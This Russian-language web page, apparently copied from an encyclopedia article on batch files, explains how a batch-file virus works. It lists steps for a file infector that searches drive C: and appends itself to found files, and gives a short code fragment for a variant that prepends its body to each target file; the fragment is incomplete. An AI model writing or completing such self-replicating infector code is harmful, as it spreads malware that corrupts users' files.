Интернет магазин китайских планшетных компьютеров



Компьютеры - Пакетный файл - Описание:

23 января 2011


Оглавление:
1. Пакетный файл
2. История
3. Использование в вирусописательстве
4. Описание:
5. Описание:
6. Пример
7. Антивирус



1) Выключаем вывод выполняемых команд на экран

2) Используем команду For /r для поиска файлов по маске во всех каталогах диска С:\

3) поиск без учета регистра метки «Vir» в переменной %%~sa которая содержит короткое имя найденного файла

4) записываем тело нашего вируса в конец найденного файла

5) Удаляем себя

Наш скрипт вполне можно назвать вирусом, хотя он и не выполняет никаких деструктивных действий и не запускается автоматически с запуском ОС, хотя и эти пункты также могут быть исполнены. Возможен также другой тип записи своего кода, запись в начало заражаемого файла. Вот фрагмент кода такого вируса:

  1. 1) for /r C:\ %%a in do (
    
  2.  
    
  3. 2) find /i "Vir" %%~sa && if %errorlevel% == 0 goto skip
    
  4.  
    
  5. 3) copy %%~sa C:\original.tmp
    
  6.  
    
  7. 4) type %0 > %%~sa
    
  8.  
    
  9. 5) type C:\original.tmp>> %%~sa
    
  10.  
    
  11. 6) del /f C:\original.tmp )
    


Просмотров: 4905


<<< Объектный модуль
Польский формат >>>